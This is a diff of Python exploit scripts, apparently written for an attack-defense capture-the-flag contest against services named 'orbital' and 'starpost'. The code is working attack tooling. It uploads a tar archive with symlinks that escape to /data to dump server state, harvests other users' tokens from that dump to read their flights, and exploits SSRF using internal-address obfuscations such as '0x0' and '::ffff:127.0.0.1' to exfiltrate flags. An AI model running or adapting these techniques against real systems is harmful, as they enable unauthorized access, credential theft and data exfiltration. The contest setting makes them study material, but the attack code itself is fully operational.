if isinstance(items, list):
values.extend(item for item in items if isinstance(item, str))
jobs = state.get("jobs", {})
if isinstance(jobs, dict):
for job in jobs.values():
result = job.get("result") if isinstance(job, dict) else None
if isinstance(result, list):
values.extend(item for item in result if isinstance(item, str))
flights = state.get("flights", {})
if isinstance(flights, dict):
for flight in flights.values():
if not isinstance(flight, dict):
continue
for key in ("geometry", "map_version", "options", "manifest"):
value = flight.get(key)
if isinstance(value, str):
values.append(value)
summaries = state.get("summaries", {})
if isinstance(summaries, dict):
for summary in summaries.values():
content = summary.get("content") if isinstance(summary, dict) else None
if isinstance(content, str):
values.append(content)
imports = state.get("imports", {})
if isinstance(imports, dict):
for item in imports.values():
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
values.append(item[1])
return values
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
return navigation if isinstance(navigation, str) else None
def exploit_host_only(base: str, deadline: float) -> list[str]:
context = load_context(base)
if context is None:
context = create_host_context(base)
try:
raw_state = dump_state(base, context)
except ExploitError as exc:
stale_markers = (
"invalid token",
"unknown ship",
"unknown profile",
"unknown flight",
"unknown package",
"File exists",
)
if not any(marker in str(exc) for marker in stale_markers):
raise
discard_context(base)
context = create_host_context(base)
raw_state = dump_state(base, context)
try:
state = json.loads(raw_state)
except ValueError as exc:
raise ExploitError("state dump: invalid JSON") from exc
if not isinstance(state, dict):
raise ExploitError("state dump: invalid state")
loot = state_payloads(state)
users = state.get("users", {})
flights = state.get("flights", {})
owner_tokens = {}
if isinstance(users, dict):
for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token)
known_flights = set(context.get("known_flights", []))
read_flights = set(context.get("read_flights", []))
candidates: list[tuple[int, str, str]] = []
if isinstance(flights, dict):
for flight_id, flight in flights.items():
if not isinstance(flight_id, str) or not isinstance(flight, dict):
continue
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
continue
if flight_id in read_flights:
continue
token = owner_tokens.get(flight.get("owner"))
if not isinstance(token, str):
continue
candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
candidates.sort(key=lambda item: item[0])
checked = 0
pending = {}
candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
with ThreadPoolExecutor(max_workers=4) as pool:
while time.monotonic() < deadline:
while len(pending) < 4 and time.monotonic() < deadline:
try:
_, flight_id, token = next(candidate_iter)
except StopIteration:
break
pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
checked += 1
if not pending:
break
done, _ = wait(
pending, timeout=max(0.0, deadline - time.monotonic()),
return_when=FIRST_COMPLETED,
)
if not done:
break
for future in done:
flight_id = pending.pop(future)
try:
navigation = future.result()
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
if navigation is None:
continue
read_flights.add(flight_id)
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
for future in pending:
future.cancel()
if isinstance(flights, dict):
context["known_flights"] = list(flights)
context["read_flights"] = list(read_flights.intersection(flights))
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
print(f"state dump navigation reads: {checked}", file=sys.stderr)
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
return list(dict.fromkeys(item for item in sanitized if item))
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
status, raw = request(
base,
@@ -158,14 +598,12 @@ def upload_package(base: str, package_id: str, token: str, content: bytes) -> No
body=content,
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
)
if status != 200:
raise ExploitError(f"package upload: HTTP {status}")
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError("package upload: invalid response") from exc
if not document.get("ok"):
raise ExploitError("package upload failed")
if status != 200 or not document.get("ok"):
raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
@@ -212,7 +650,15 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
return [raw.decode("utf-8", errors="replace")]
token = register(base)
last_error = None
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
for internal_host in (
"0.0.0.0",
"0",
"0000",
"0x0",
"::ffff:127.0.0.1",
"::ffff:7f00:1",
"::ffff:0.0.0.0",
):
try:
result = rpc(
base,
@@ -252,10 +698,11 @@ def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
def run_exploit(target: str) -> list[str]:
started = time.monotonic()
base, hint = parse_target(target)
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
if not identifiers:
raise ValueError("checker hint with an orbital object id is required")
return exploit_host_only(base, started + TOTAL_RUNTIME)
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
@@ -291,16 +738,22 @@ def run_exploit(target: str) -> list[str]:
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
return 2
try:
loot = run_exploit(sys.argv[1])
base, _ = parse_target(sys.argv[1])
flags, candidates, passes = fresh_flags(base, loot)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
for item in loot:
print(item, flush=True)
print(f"collected values: {len(loot)}", file=sys.stderr)
for flag in flags:
print(flag, flush=True)
print(
f"collected values: {len(loot)}; flag candidates: {candidates}; "
f"cache pass: {passes}; new flags: {len(flags)}",
file=sys.stderr,
)
return 0
+677
View File
@@ -0,0 +1,677 @@
#!/usr/bin/env python3
from __future__ import annotations
import hashlib
import io
import json
import os
import re
import signal
import stat
import sys
import tarfile
import tempfile
import time
from contextlib import contextmanager
from http.client import HTTPException
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
REQUEST_TIMEOUT = 1.5
TOTAL_RUNTIME = 8.0
MAX_RESPONSE = 2 * 1024 * 1024
MAX_STATE_RESPONSE = 32 * 1024 * 1024
MAX_HINT_LENGTH = 8192
MAX_NAVIGATION_READS = 16
STATE_MARKER = "orbital-legacy-state"
FLAG_PATTERN = re.compile(rb"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
FLIGHT_PATTERN = re.compile(r"\bflight-[0-9a-f]{32}\b", re.IGNORECASE)
SEEN_CACHE_VERSION = 1
SEEN_WARMUP_PASSES = 0
CONTEXT_PATTERNS = {
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
}
STALE_MARKERS = (
"invalid token",
"unknown ship",
"unknown profile",
"unknown flight",
"unknown package",
)
class ExploitError(Exception):
def __init__(self, action: str, detail: str = ""):
super().__init__(f"{action}: request failed")
self.action = action
self.detail = detail
class HardDeadlineExceeded(Exception):
pass
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def deadline_alarm(_signum, _frame):
raise HardDeadlineExceeded("run deadline exceeded")
@contextmanager
def hard_timeout(seconds: float):
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
yield
return
previous = signal.signal(signal.SIGALRM, deadline_alarm)
signal.setitimer(signal.ITIMER_REAL, seconds)
try:
yield
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, previous)
def parse_target(raw_target: str) -> tuple[str, str]:
raw = raw_target.strip()
if not raw:
raise ValueError("empty target")
address, separator, encoded_hint = raw.partition("#")
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
if not address or len(hint) > MAX_HINT_LENGTH:
raise ValueError("invalid target or hint")
explicit_scheme = "://" in address
if not explicit_scheme:
authority = (
f"[{address}]"
if address.count(":") > 1 and not address.startswith("[")
else address
)
address = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(address)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port
if port is None:
port = (
443
if explicit_scheme and parsed.scheme == "https"
else 80 if explicit_scheme else SERVICE_PORT
)
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def read_bounded(response, limit: int, deadline: float) -> bytes:
chunks = []
total = 0
while total <= limit:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
chunk = response.read(min(64 * 1024, limit + 1 - total))
if not chunk:
break
chunks.append(chunk)
total += len(chunk)
raw = b"".join(chunks)
if len(raw) > limit:
raise ValueError("response too large")
return raw
def request(
base: str,
path: str,
deadline: float,
method: str = "GET",
body: bytes | None = None,
headers: dict[str, str] | None = None,
response_limit: int = MAX_RESPONSE,
) -> tuple[int, bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
request_headers = {
"Accept": "application/json",
"User-Agent": "neo-orbital-legacy-state/1.0",
}
if headers:
request_headers.update(headers)
req = Request(base + path, data=body, headers=request_headers, method=method)
try:
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
return response.status, read_bounded(response, response_limit, deadline)
except HTTPError as exc:
with exc:
return exc.code, read_bounded(exc, response_limit, deadline)
def rpc(
base: str,
deadline: float,
action: str,
response_limit: int = MAX_RESPONSE,
**fields,
):
body = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(
base,
"/rpc",
deadline,
method="POST",
body=body,
headers={"Content-Type": "application/json"},
response_limit=response_limit,
)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError(action, "invalid response") from exc
if not isinstance(document, dict):
raise ExploitError(action, "invalid response")
if status != 200 or document.get("ok") is not True:
detail = document.get("error")
raise ExploitError(action, detail if isinstance(detail, str) else f"HTTP {status}")
return document.get("result")
def context_path(base: str) -> Path:
configured = os.environ.get("ORBITAL_STATE_DIR")
root = (
Path(configured)
if configured
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
)
root.mkdir(mode=0o700, parents=True, exist_ok=True)
if os.name != "nt":
root.chmod(0o700)
return root / (hashlib.sha256(base.encode()).hexdigest() + ".json")
def seen_path(base: str) -> Path:
return context_path(base).with_suffix(".flags.json")
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
path = seen_path(base)
try:
info = path.lstat()
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
return None
document = json.loads(path.read_text(encoding="utf-8"))
except (FileNotFoundError, OSError, ValueError):
return None
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
return None
passes = document.get("passes")
flags = document.get("flags")
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
return None
values = {
item
for item in flags
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item.encode())
}
return passes, values
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
path = seen_path(base)
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(
{
"version": SEEN_CACHE_VERSION,
"passes": passes,
"flags": sorted(flags),
},
handle,
separators=(",", ":"),
)
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def fresh_flags(base: str, current: list[str]) -> tuple[list[str], int, int]:
candidates = set(current)
cached = load_seen_flags(base)
if cached is None:
passes = 1
seen: set[str] = set()
else:
previous_passes, seen = cached
passes = previous_passes + 1
fresh = sorted(candidates - seen) if passes > SEEN_WARMUP_PASSES else []
save_seen_flags(base, passes, seen | candidates)
return fresh, len(candidates), passes
def valid_context(document, base: str) -> bool:
return (
isinstance(document, dict)
and document.get("base") == base
and all(
isinstance(document.get(key), str)
and pattern.fullmatch(document[key]) is not None
for key, pattern in CONTEXT_PATTERNS.items()
)
)
def load_context(base: str):
path = context_path(base)
try:
if path.stat().st_size > 64 * 1024:
return None
document = json.loads(path.read_text(encoding="utf-8"))
except (OSError, ValueError):
return None
if not valid_context(document, base):
return None
return {key: document[key] for key in CONTEXT_PATTERNS}
def save_context(base: str, context: dict[str, str]) -> None:
path = context_path(base)
document = {"base": base, **context}
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(document, handle, separators=(",", ":"))
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def discard_context(base: str) -> None:
try:
context_path(base).unlink()
except OSError:
pass
def create_context(base: str, deadline: float) -> dict[str, str]:
registered = rpc(base, deadline, "register")
auth = registered.get("token") if isinstance(registered, dict) else None
if not isinstance(auth, str):
raise ExploitError("register", "missing token")
ship = rpc(base, deadline, "create_ship", token=auth)
ship_id = ship.get("ship_id") if isinstance(ship, dict) else None
if not isinstance(ship_id, str):
raise ExploitError("create_ship", "missing ship")
profile = rpc(base, deadline, "create_profile", token=auth, ship_id=ship_id)
profile_id = profile.get("profile_id") if isinstance(profile, dict) else None
if not isinstance(profile_id, str):
raise ExploitError("create_profile", "missing profile")
flight = rpc(
base,
deadline,
"create_flight",
token=auth,
geometry=STATE_MARKER,
map_version=STATE_MARKER,
options=STATE_MARKER,
manifest=STATE_MARKER,
navigation=STATE_MARKER,
)
flight_id = flight.get("flight_id") if isinstance(flight, dict) else None
if not isinstance(flight_id, str):
raise ExploitError("create_flight", "missing flight")
package = rpc(base, deadline, "create_package", token=auth)
package_id = package.get("package_id") if isinstance(package, dict) else None
if not isinstance(package_id, str):
raise ExploitError("create_package", "missing package")
context = {
"token": auth,
"ship_id": ship_id,
"profile_id": profile_id,
"flight_id": flight_id,
"package_id": package_id,
}
save_context(base, context)
return context
def regular_tar() -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
content = b"approved"
entry = tarfile.TarInfo("report.txt")
entry.size = len(content)
archive.addfile(entry, io.BytesIO(content))
return output.getvalue()
def state_dump_tar(flight_id: str) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
escape = tarfile.TarInfo("escape")
escape.type = tarfile.SYMTYPE
escape.linkname = "/data"
archive.addfile(escape)
state_link = tarfile.TarInfo("escape/state.json.tmp")
state_link.type = tarfile.SYMTYPE
state_link.linkname = f"/data/navigation/{flight_id}.txt"
archive.addfile(state_link)
content = b"ok"
report = tarfile.TarInfo("report.txt")
report.size = len(content)
archive.addfile(report, io.BytesIO(content))
return output.getvalue()
def upload_package(
base: str, deadline: float, context: dict[str, str], content: bytes
) -> None:
status, raw = request(
base,
f"/packages/{quote(context['package_id'], safe='')}/content",
deadline,
method="PUT",
body=content,
headers={
"Authorization": f"Bearer {context['token']}",
"Content-Type": "application/octet-stream",
},
)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError("package upload", "invalid response") from exc
if status != 200 or not isinstance(document, dict) or document.get("ok") is not True:
detail = document.get("error") if isinstance(document, dict) else "invalid response"
raise ExploitError("package upload", detail if isinstance(detail, str) else "rejected")
def read_navigation(
base: str,
deadline: float,
token: str,
flight_id: str,
response_limit: int = MAX_RESPONSE,
) -> str:
result = rpc(
base,
deadline,
"read_navigation",
response_limit=response_limit,
token=token,
flight_id=flight_id,
)
navigation = result.get("navigation") if isinstance(result, dict) else None
if not isinstance(navigation, str):
raise ExploitError("read_navigation", "missing navigation")
return navigation
def decode_state(raw: str):
try:
document = json.loads(raw)
except (TypeError, ValueError):
return None
required = {"users", "ships", "messages", "flights", "packages"}
return document if isinstance(document, dict) and required.issubset(document) else None
def trigger_pair(base: str, deadline: float, context: dict[str, str]) -> None:
confirmed = 0
attempts = 0
last_error = None
while confirmed < 2 and attempts < 5 and deadline - time.monotonic() > 0.25:
attempts += 1
try:
rpc(
base,
deadline,
"edit_profile",
token=context["token"],
profile_id=context["profile_id"],
ship_id=context["ship_id"],
)
confirmed += 1
except ExploitError:
raise
except (HTTPError, URLError, TimeoutError, HTTPException, OSError) as exc:
last_error = exc
if confirmed < 2:
raise ExploitError("edit_profile", type(last_error).__name__ if last_error else "deadline")
def consume_artifact(
base: str, deadline: float, context: dict[str, str]
) -> tuple[str | None, dict | None]:
initial = read_navigation(
base,
deadline,
context["token"],
context["flight_id"],
MAX_STATE_RESPONSE,
)
state = decode_state(initial)
trigger_pair(base, deadline, context)
if state is not None:
return initial, state
leaked = read_navigation(
base,
deadline,
context["token"],
context["flight_id"],
MAX_STATE_RESPONSE,
)
return (leaked, decode_state(leaked))
def plant_artifact(base: str, deadline: float, context: dict[str, str]) -> bool:
upload_package(base, deadline, context, regular_tar())
rpc(
base,
deadline,
"approve_package",
token=context["token"],
package_id=context["package_id"],
)
upload_package(base, deadline, context, state_dump_tar(context["flight_id"]))
try:
rpc(
base,
deadline,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
except ExploitError as exc:
if exc.detail in {"package not approved", "unsafe package"}:
return False
raise
return True
def stale_context(error: ExploitError) -> bool:
return any(marker in error.detail for marker in STALE_MARKERS)
def state_navigation_candidates(state: dict, hint: str, own_flight: str):
users = state.get("users")
flights = state.get("flights")
if not isinstance(users, dict) or not isinstance(flights, dict):
return []
owner_tokens = {}
for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token)
hinted = list(
dict.fromkeys(match.group(0).lower() for match in FLIGHT_PATTERN.finditer(hint))
)
order = hinted + [flight_id for flight_id in flights if flight_id not in hinted]
candidates = []
for flight_id in order:
flight = flights.get(flight_id)
if flight_id == own_flight or not isinstance(flight_id, str) or not isinstance(flight, dict):
continue
owner_auth = owner_tokens.get(flight.get("owner"))
if isinstance(owner_auth, str):
candidates.append((flight_id, owner_auth))
if len(candidates) >= MAX_NAVIGATION_READS:
break
return candidates
def collect_flags(
base: str,
deadline: float,
context: dict[str, str],
hint: str,
raw_state: str,
state: dict,
) -> tuple[set[str], int, int]:
flags = {match.decode("ascii") for match in FLAG_PATTERN.findall(raw_state.encode())}
reads = 0
errors = 0
for flight_id, token in state_navigation_candidates(state, hint, context["flight_id"]):
if deadline - time.monotonic() <= 0.3:
break
reads += 1
try:
navigation = read_navigation(base, deadline, token, flight_id)
except (
ExploitError,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
):
errors += 1
continue
flags.update(
match.decode("ascii") for match in FLAG_PATTERN.findall(navigation.encode())
)
return flags, reads, errors
def run_exploit(raw_target: str) -> tuple[list[str], bool, bool, int, int]:
base, hint = parse_target(raw_target)
deadline = time.monotonic() + TOTAL_RUNTIME
context = load_context(base)
consumed = False
reads = 0
errors = 0
flags: set[str] = set()
if context is not None:
try:
raw_state, state = consume_artifact(base, deadline, context)
except ExploitError as exc:
if not stale_context(exc):
raise
discard_context(base)
context = None
if context is not None and raw_state is not None and state is not None:
consumed = True
flags, reads, errors = collect_flags(
base, deadline, context, hint, raw_state, state
)
if context is None:
context = create_context(base, deadline)
planted = False
if deadline - time.monotonic() > 0.75:
try:
planted = plant_artifact(base, deadline, context)
except (
ExploitError,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
) as exc:
if not flags:
raise
print(f"replant failed: {type(exc).__name__}", file=sys.stderr)
return sorted(flags), consumed, planted, reads, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
return 2
try:
with hard_timeout(TOTAL_RUNTIME + 0.5):
flags, consumed, planted, reads, errors = run_exploit(sys.argv[1])
base, _ = parse_target(sys.argv[1])
flags, candidates, passes = fresh_flags(base, flags)
except (
ExploitError,
HardDeadlineExceeded,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
) as exc:
print(f"request failed: {type(exc).__name__}", file=sys.stderr)
return 1
for flag in flags:
print(flag, flush=True)
print(
f"consumed={int(consumed)} planted={int(planted)} navigation_reads={reads} "
f"errors={errors} candidates={candidates} cache_pass={passes} "
f"new_flags={len(flags)}",
file=sys.stderr,
)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+263
View File
@@ -0,0 +1,263 @@
#!/usr/bin/env python3
from __future__ import annotations
import json
import os
import re
import signal
import sys
import time
from contextlib import contextmanager
from http.client import HTTPException
from urllib.error import HTTPError, URLError
from urllib.parse import unquote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
INTERNAL_PORT = 8080
REQUEST_TIMEOUT = 1.5
RUN_TIMEOUT = 8.0
MAX_RESPONSE = 256 * 1024
MAX_HINT_LENGTH = 8192
MAX_SUMMARIES = 6
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
class ExploitError(Exception):
pass
class HardDeadlineExceeded(Exception):
pass
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def deadline_alarm(_signum, _frame):
raise HardDeadlineExceeded("run deadline exceeded")
@contextmanager
def hard_timeout(seconds: float):
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
yield
return
previous = signal.signal(signal.SIGALRM, deadline_alarm)
signal.setitimer(signal.ITIMER_REAL, seconds)
try:
yield
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, previous)
def parse_target(target: str) -> tuple[str, str]:
raw = target.strip()
if not raw:
raise ValueError("empty target")
address, separator, encoded_hint = raw.partition("#")
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
if not address:
raise ValueError("empty target address")
if len(hint) > MAX_HINT_LENGTH:
raise ValueError("checker hint is too large")
explicit_scheme = "://" in address
if not explicit_scheme:
authority = (
f"[{address}]"
if address.count(":") > 1 and not address.startswith("[")
else address
)
address = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(address)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = (
443
if explicit_scheme and parsed.scheme == "https"
else 80 if explicit_scheme else SERVICE_PORT
)
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def read_bounded(response, deadline: float) -> bytes:
chunks = []
total = 0
while total <= MAX_RESPONSE:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
if not chunk:
break
chunks.append(chunk)
total += len(chunk)
raw = b"".join(chunks)
if len(raw) > MAX_RESPONSE:
raise ValueError("response too large")
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
return raw
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
req = Request(
base + "/rpc",
data=payload,
headers={
"Accept": "application/json",
"Content-Type": "application/json",
"User-Agent": "neo-orbital-summary-ssrf/1.0",
},
method="POST",
)
try:
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
return response.status, read_bounded(response, deadline)
except HTTPError as exc:
with exc:
return exc.code, read_bounded(exc, deadline)
def rpc(base: str, deadline: float, action: str, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(base, payload, deadline)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError(f"{action}: invalid response") from exc
if not isinstance(document, dict):
raise ExploitError(f"{action}: invalid response")
if status != 200 or document.get("ok") is not True:
raise ExploitError(f"{action}: request rejected (HTTP {status})")
return document.get("result")
def register(base: str, deadline: float) -> str:
result = rpc(base, deadline, "register")
auth = result.get("token") if isinstance(result, dict) else None
if not isinstance(auth, str):
raise ExploitError("register: missing token")
return auth
def import_summary(
base: str, auth: str, summary_id: str, deadline: float
) -> tuple[set[bytes] | None, int]:
attempts = 0
for internal_host in INTERNAL_HOSTS:
if deadline - time.monotonic() <= 0:
break
attempts += 1
try:
result = rpc(
base,
deadline,
"import_bulletin",
token=auth,
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
)
except (
ExploitError,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
):
continue
content = result.get("content") if isinstance(result, dict) else None
if not isinstance(content, str):
raise ExploitError("import_bulletin: missing content")
return set(FLAG_PATTERN.findall(content.encode())), attempts
return None, attempts
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
base, hint = parse_target(raw_target)
summary_ids = list(
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
)[:MAX_SUMMARIES]
if not summary_ids:
raise ValueError("checker hint with a summary id is required")
deadline = time.monotonic() + RUN_TIMEOUT
auth = register(base, deadline)
flags: set[str] = set()
processed = 0
attempts = 0
errors = 0
for summary_id in summary_ids:
if deadline - time.monotonic() <= 0:
break
found, request_count = import_summary(base, auth, summary_id, deadline)
attempts += request_count
if found is None:
errors += 1
continue
processed += 1
for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
if processed == 0:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
if errors:
raise ExploitError("all summary imports failed")
return sorted(flags), processed, attempts, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
return 2
try:
with hard_timeout(RUN_TIMEOUT):
flags, processed, attempts, errors = run_exploit(
sys.argv[1], lambda candidate: print(candidate, flush=True)
)
except (
ExploitError,
HardDeadlineExceeded,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
file=sys.stderr,
)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+218 -70
View File
@@ -9,12 +9,18 @@ service secret, warehouse token, or Skipper credential.
from __future__ import annotations
import json
import os
import re
import secrets
import signal
import sys
import time
from datetime import datetime, timedelta, timezone
from email.utils import parsedate_to_datetime
from http.cookies import SimpleCookie
from ipaddress import ip_address
from queue import Empty, Queue
from threading import Thread
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
@@ -24,11 +30,23 @@ SERVICE_PORT = 8090
RUN_TIMEOUT = 8.5
REQUEST_TIMEOUT = 1.2
MAX_RESPONSE = 512 * 1024
MAX_BUYS = 2
MAX_BUY_ATTEMPTS = 3
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
ATTACK_DATA_URL = os.environ.get(
"STARPOST_ATTACK_DATA_URL",
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
)
# A/D checker traffic is staggered differently for each team, so a fixed UTC
# second is not transferable. All observed checker-like products cost at
# least 101 credits. Try the newest suitable product, then at most one from
# the previous minute if delivery yields no flag. This is an empirical
# heuristic, not a way to identify flag-bearing cargo.
MAX_CANDIDATE_AGE = 145
MIN_CANDIDATE_PRICE = 101
MAX_CANDIDATES = 2
MAX_ORDER_POLLS = 5
POLL_INTERVAL = 0.3
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
class NoRedirects(HTTPRedirectHandler):
@@ -41,6 +59,34 @@ class NoRedirects(HTTPRedirectHandler):
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def start_task(function, *args) -> Queue:
result = Queue(maxsize=1)
def run():
try:
result.put((True, function(*args)))
except Exception as exc:
result.put((False, exc))
Thread(target=run, daemon=True).start()
